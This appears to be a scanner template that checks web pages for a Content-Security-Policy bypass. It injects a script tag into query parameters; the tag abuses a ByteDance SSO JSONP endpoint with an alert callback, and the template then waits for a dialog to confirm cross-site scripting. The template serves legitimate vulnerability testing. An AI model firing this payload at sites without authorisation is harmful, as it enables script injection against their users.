id: bytedance-sso-csp-bypass

info:
  name: Content-Security-Policy Bypass - ByteDance SSO
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bytedance-sso,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bytedance.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bytedance_sso_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://sso.bytedance.com/watermark/?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bytedance_sso_csp_xss == true"
# digest: 490a004630440220345f01ce7eb4da4d5248204dba0251016c774a82391228dc7547a26e5e7017e5022012fcb04021c7c8cabd1a0ad1be9eff228a1b1919e4706f80ca7f9684b4a29fca:922c64590222798bb761d5b6d8e72950